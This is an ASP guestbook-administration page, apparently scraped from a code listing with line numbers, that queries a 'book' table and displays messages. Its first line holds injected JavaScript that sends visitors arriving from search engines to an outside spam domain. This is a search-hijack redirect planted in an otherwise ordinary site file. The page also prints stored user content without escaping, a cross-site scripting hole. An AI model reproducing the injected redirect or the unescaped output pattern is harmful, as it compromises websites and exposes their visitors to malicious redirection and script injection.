d:\wwwroot\wuchunhua\admin\content.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="chk.asp" -->
002:
<!-- #include file="conn.asp" -->
003:
<HTML><HEAD><TITLE>后台管理首页</TITLE>
004:
<SCRIPT language=JavaScript>
005:
function CheckSel(Voption,Value)
006:
{
007:
var obj = document.getElementById(Voption);
008:
for (i=0;i<obj.length;i++){
009:
if (obj.options[i].value==Value){
010:
obj.options[i].selected=true;
011:
break;
012:
}
013:
}
014:
}
015:
function chang_size(num,objname)
016:
{
017:
var obj=document.getElementById(objname)
018:
if (parseInt(obj.rows)+num>=3) {
019:
obj.rows = parseInt(obj.rows) + num;
020:
}
021:
if (num>0)
022:
{
023:
obj.width="90%";
024:
}
025:
}
026:
</SCRIPT>
027:
028:
<STYLE type=text/css>#showpage {
029:
CLEAR: both; WIDTH: 100%; TEXT-ALIGN: center
030:
}
031:
</STYLE>
032:
033:
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK
034:
href="images/admin_STYLE.css" rel=stylesheet>
035:
<META content="Microsoft FrontPage 5.0" name=GENERATOR></HEAD>
036:
<BODY class=bgcolor leftMargin=2 topMargin=0 marginheight="0"
037:
marginwidth="0"><BR>
038:
<TABLE class=border cellSpacing=1 cellPadding=2 width="752" align=center
039:
border=0>
040:
<TBODY>
041:
<TR align=middle>
042:
<TD class=topbg width=744 height=25>
043:
<DIV align=left><b><font size="3">留言管理</font></b></DIV></TD></TR></TBODY></TABLE><BR>
044:
045:
<TABLE class=border cellSpacing=1 cellPadding=2 width="750" align=center
046:
bgColor=#ffffff border=0 height="27">
047:
<TBODY>
048:
<TR>
049:
<TD class=tdbg height=3 width="524" align="center">留言内容</TD>
050:
<TD class=tdbg height=3 width="86" align="center">作者</TD>
051:
<TD class=tdbg height=3 width="93" align="center">留言时间</TD>
052:
<TD class=tdbg height=3 width="24" align="center">操作</TD></TR>
053:
054:
<%
055:
set rs=server.createobject("adodb.recordset")
056:
rs.Open "Select * from [book]",conn,1,1
057:
If rs.bof or rs.eof then
058:
Response.write "没有数据!"
059:
Else
060:
While not rs.Eof
061:
%
>
062:
063:
<TR>
064:
<TD class=tdbg height=1 width="524" align="center">
<%
=rs("content")
%
></TD>
065:
<TD class=tdbg height=1 width="86" align="center">
<%
=rs("user")
%
></TD>
066:
<TD class=tdbg height=1 width="93" align="center">
<%
=rs("time")
%
></TD>
067:
<TD class=tdbg height=1 width="24" align="center">
068:
<a href="book_del.asp?id=
<%
=rs("id")
%
>">删除</a></TD></TR>
069:
<%
070:
rs.MoveNext
071:
Wend
072:
End If
073:
rs.Close
074:
Set rs=nothing
075:
%
>
076:
</TBODY></TABLE></BODY></HTML>
077:
078: